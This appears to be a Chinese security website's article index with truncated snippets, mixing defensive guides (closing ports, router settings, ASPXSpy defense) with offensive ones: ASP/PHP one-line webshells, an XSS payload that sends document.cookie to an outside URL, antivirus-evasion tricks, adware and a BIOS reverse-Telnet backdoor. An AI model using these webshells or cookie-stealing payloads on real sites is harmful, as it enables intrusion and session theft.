网络安全
-
一句话木马(asp,php) 总结篇
asp一句话 <%execute(request("1"))%> php一句话 <?php eval($_POST[1]);?> aspx一句话 <script language="C#" runat="server"> WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10"); </...
-
asp php XSS获取cookie的代码
<script>document.write('<img src="http://url/news.asp?msg='+document.cookie+'" width=0 height=0 border=0 />');</script> news.asp代码： <% msg=Request.ServerVariables("QUERY_STRING") testfile=Server.MapPath(&q...
-
弹窗口的流氓软件核心代码
ps:请勿用于非法用途，仅供技术研究之用。 by：yunshu 这个东西的主要功能就是去网上一个URL读取配置文件，拿到需要弹出的窗口以及周期时间，然后开始弹……程序安装成服务，并设置为自动启动。启动之后写入一段代码到explorer.exe进程中，也就是这里在弹网页...
-
木马免杀绝招以及常用的修改方法
常用的木马免杀方法绝招一：快速搞定瑞星文件查杀操作步骤： 第一步：用OD载入，来到程序的入口点。 ...常用的木马免杀方法 绝招一：快速搞定瑞星文件查杀 操作步骤： 第一步：用OD载入，来到程序的入口点。 第二步：把入口点的第一句PUSH EBP 改成POP EBP 然...
-
冰河暗涌防不胜防 BIOS下实现的Telnet后门
该项目仅为实验性项目，主要目的是想隐藏一个Telnet后门在主板的BIOS内，并让其随着计算机系统及操作系统成功的运行起来。运行后能反向Telnet连接到指定的计算机接受控制。项目涉及的相关知识及技术目录1、 实验环境，使用bochs调试工具。2、 刷新BIOS技术问题。3、...
-
曲折的FileZilla Server提权之路
明白以上三点后现在就是尝试如何连接到服务器上的FileZilla Server。首先查看FileZilla Server Interface.xml中的内容...
-
用IP安全策略自动设置工具的遇到故障与解决方法
我最新在服务器上使用了IP安全策略自动设置工具，服务器是web站点，开80,20,21,3389等。...
-
家用无线路由器安全设置必读
伴随着各运营商的宽带大提速，无线已经成为家庭组网的首选。老百姓真真切切地感觉到：无线真好!而且各厂商的在无线路由器的设置上也尽力做到人性化，以帮助大叔大妈们也能轻松的设置家庭无线网络，但一提到如何让家里的无线网络更加安全?很多大妈又犯了难，认为安全防护...
-
在 Windows 下关闭135/139/445端口的图文方法
在 Windows 下关闭135/139/445端口的方法，一切为了安全...
-
-
基于IE的MIME sniffing功能的跨站点脚本攻击
IE有一个特性，那就是在将一个文件展示给用户之前会首先检查文件的类型，这乍看起来并没什么问题，但实际上这是相当危险的，因为这会允许IE执行图片中的代码，即嵌入在一个图像中的JavaScript代码。引入MIME sniffing功能的初衷是用来弥补Web服务器响应一个图像请求时有可能...
-
ASP.NET ASPXSpy安全设置的防御方法（终极和一般防御）
终极防御（CmdShell、IIS Spy、Process、Services、UserInfo、SysInfo、RegShell）可能影响个别网站正常运行，请测试网站无问题再正式使用这方法。...
-
在Windows 下关闭21\23\25端口的方法
在Windows 下关闭21\23\25端口的方法,有时候为了安全我们需要禁止一些端口...
